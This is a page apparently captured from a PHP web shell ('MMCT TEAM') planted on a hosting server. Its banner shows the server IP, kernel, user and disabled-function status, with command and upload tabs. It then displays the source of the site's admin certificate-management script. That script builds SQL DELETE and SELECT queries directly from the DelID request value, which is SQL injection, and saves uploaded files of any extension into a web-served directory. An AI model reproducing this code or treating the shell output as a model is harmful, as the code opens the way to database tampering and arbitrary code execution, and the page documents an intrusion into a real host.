MMCT TEAM
Server IP : 103.53.40.154  /  Your IP : 3.145.64.245
Web Server : Apache
System : Linux md-in-35.webhostbox.net 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : ppcad7no ( 715)
PHP Version : 8.2.25
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0755) :  /home2/ppcad7no/ppcadsexpert.com/admin/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/ppcad7no/ppcadsexpert.com/admin/manage-certificate.php
<?php require_once("header.php");?>
<?php require_once("left-nav.php");?>
<?php require_once ('../includes/photoshop.php');?>
<style>
.v-middle {
vertical-align:middle !important;

}

div#formdiv {
    background: #8e32a23b;
    padding: 15px;
}

div#formdiv input {
    background: #3f3c3c;
    border: solid thin #3f3c3c;
    color: #fff;
    padding: 5px 8px 5px 8px;
    border-radius: 5px;
    font-weight: 600;
}

div#formdiv input[type="button"] {
    background: #FF5722;
    border: solid thin #FF5722;
    color: #fff;
    padding: 5px 8px 5px 8px;
    border-radius: 5px;
    font-weight: 600;
}

div#formdiv input[type="submit"] {
    background: #FF5722;
    border: solid thin #FF5722;
    color: #fff;
    padding: 5px 8px 5px 8px;
    border-radius: 5px;
    font-weight: 600;
}




</style>
<?php
 function getExtension($str) {
         $i = strrpos($str,".");
         if (!$i) { return ""; }
         $l = strlen($str) - $i;
         $ext = substr($str,$i+1,$l);
         return $ext;
 }
 
$catID=$_REQUEST['cat_id'];
$delImageID=$_REQUEST['DelID'];
if(!empty($delImageID)){ 
   $imageToDel=db_scalar("select certificate_image_name from  tbl_certificate where 1 and certificate_id='$delImageID'"); 
   @unlink('../our_certificate/'.$imageToDel);
   $sqldel="delete from tbl_certificate where 1 and certificate_id='$delImageID'";
   db_query($sqldel);
   set_session_msg("Image Deleted Successfully !");
   header("Location: manage-certificate.php");
   exit;
 }
if(is_post_back()) {
if (isset($_POST['submit'])) {
    for ($i = 0; $i < count($_FILES['file']['name']); $i++) {
	     $imgName=$_FILES['file']['name'][$i];
		 $gTitle=$_POST['title'][$i];
		 
		 //**** Change Duplicate Image name Start Here****//
	$uploadedfile = $_FILES['file']['tmp_name'][$i]; 
    $filename = stripslashes($_FILES['file']['name'][$i]); 	
	$extension = getExtension($filename);
	$extension = strtolower($extension);		
	$imgNAME = substr(md5($imgName.time().rand(1,10)),0,14).".".$extension;		
	
		 
		// $ext = substr($imgName, strrpos($imgName, "."));		 
//		 $imageDupli = db_scalar("select count(*) from tbl_category_image where 1 and category_certificate_image_name='$imgName'"); 
//		 if($imageDupli > 0){
//		  $imgName = basename($imgName, $ext);
//		  $imgName = basename($imgName, $ext) . rand(1,1000) . $ext;
//		 }else{
//		  $imgName = $imgName;
//		 }
		 //**** Change Duplicate Image name End Here****//
		 
if (move_uploaded_file($_FILES['file']['tmp_name'][$i],"../our_certificate/$imgNAME")) {


//////////////////////////////// FOR SMALL  PRODUCT THUMB //////////////////////////////
$image = new Zebra_Image(); 
$image->source_path = '../our_certificate/'.$imgNAME; 
$ext = substr($image->source_path, strrpos($image->source_path, '.') + 1);
// indicate a target image
//$image->target_path = '../our_certificate/thumb/'.$imgNAME;
// resize
// and if there is an error, show the error message
if (!$image->resize(100, 100, ZEBRA_IMAGE_BOXED, -1)) show_error($image->error, $image->source_path, $image->target_path);
////////////////////////////////////////////////////////////////////////////////////////


			 
			 
			
			    $sql = "insert into tbl_certificate set 
		           certificate_status='Active',
						   certificate_image_name='$imgNAME',
						   certificate_add_date=now()";
						   db_query($sql);				
            } 
			       
        }
		set_session_msg("Image uploaded successfully !");
		header("Location: manage-certificate.php");
		exit;
    }
 }
?>
<script language="JavaScript" type="text/javascript" src="../includes/general.js"></script>

         <!-- =============================================== -->
         <!-- Content Wrapper. Contains page content -->
         <div class="content-wrapper">
            <!-- Content Header (Page header) -->
            <section class="content-header">
               <div class="header-icon">
                  <i class="fa fa-file-image-o" aria-hidden="true"></i>

               </div>
               <div class="header-title">
                  <h1>Our Certificate</h1>
                  <small>Our Certificate List</small>
                  
                  
 
                 
                 
                 

<span class="count-num">Total : <?=db_scalar("SELECT COUNT(certificate_id) FROM tbl_certificate WHERE 1")?></span>
                  
               </div>


           
               
            </section>
            <!-- Main content -->
            <section class="content">
               <div class="row">

<?php if($_SESSION["msg"]!=""){?>               
<div class="alert alert-success alert-dismissable fade in text-center" style="background-color:#dff0d8;border:none; color:#000;margin:10px 0 0 0">
    <a href="#" class="close" data-dismiss="alert" aria-label="close">&times;</a>
    <strong>Success!&nbsp;&nbsp;&nbsp;</strong> <?=$_SESSION["msg"]?>
  </div>
<?php 
unset($_SESSION["msg"]);
}?>     




                  <div class="col-sm-12">
                     <div class="panel panel-bd lobidrag" data-edit-title='false' data-close='false' data-reload='false'>
                        
                        
                           
                        
                        
                        <div class="panel-heading">
                           <div class="btn-group" id="buttonexport">
                              <a href="#">
                                 <h4>Our Certificate Image List</h4>
                              </a>
                           </div>
                        </div>
                        
                        



                        
                        <div class="panel-body">
                       

                       
                           <div class="table-responsive">
<?php			
			  $sql_fetch = db_query("select * from tbl_certificate where 1 ");
			  $cntDATA=mysqli_num_rows($sql_fetch);
			   if($cntDATA > 0){	
			   while($DATA = mysqli_fetch_array($sql_fetch)) {
		          @extract($DATA);		 
             ?>
			 <div class="col-lg-2 text-center" style="margin-bottom:10px">
             <img src="../our_certificate/<?=$DATA['certificate_image_name']?>" class="img-thumbnail" style="width:120px; height:120px;" />
            <span style="font-weight:bold;"><?=$DATA['image_title']?></span>
	
    <div class="col-lg-12 text-center" style="margin-top:10px" ><a href="manage-certificate.php?DelID=<?=$DATA['certificate_id']?>"><i class="fa fa-trash fa-2x" style="color:#F00"></i></a></div>
          </div>		  
			 <? }} ?>
			 <div class="cb"></div>
			 </div>
            <table width="55%"  border="0" align="center" cellpadding="0" cellspacing="0" class="tableForm" style="border:1px solid  #8e32a23b; margin-top:20px; margin-bottom:10px;">
              <tr>
                <td class="tdLabel" style="padding:8px;">
				<div id="maindiv">
                    <div id="formdiv">
                      <form enctype="multipart/form-data" action="" method="post">
                        <div id="filediv">
                          <input name="file[]" type="file" id="file"/>
                        </div>
                        <br/>
                        <input type="button" id="add_more" class="upload" value="Add More Files"/>
                        <input type="submit" value="Upload File" name="submit" id="upload" class="upload"/>
                      </form>
                      <br/>
                    </div>
                  </div></td>
              </tr>
            </table>
                              </table>
                              

                                             
                              
                           </div>

                                  
                           
                        </div>
                     </div>
                  </div>
               </div>
               <!-- customer Modal1 -->
               
               <!-- /.modal -->
               <!-- Modal -->    
               <!-- Customer Modal2 -->
               
               <!-- /.modal -->
            </section>
            <!-- /.content -->
         </div>
<?php require_once("footer.php"); ?>
<script src="scriptari.js"></script>

MMCT - 2023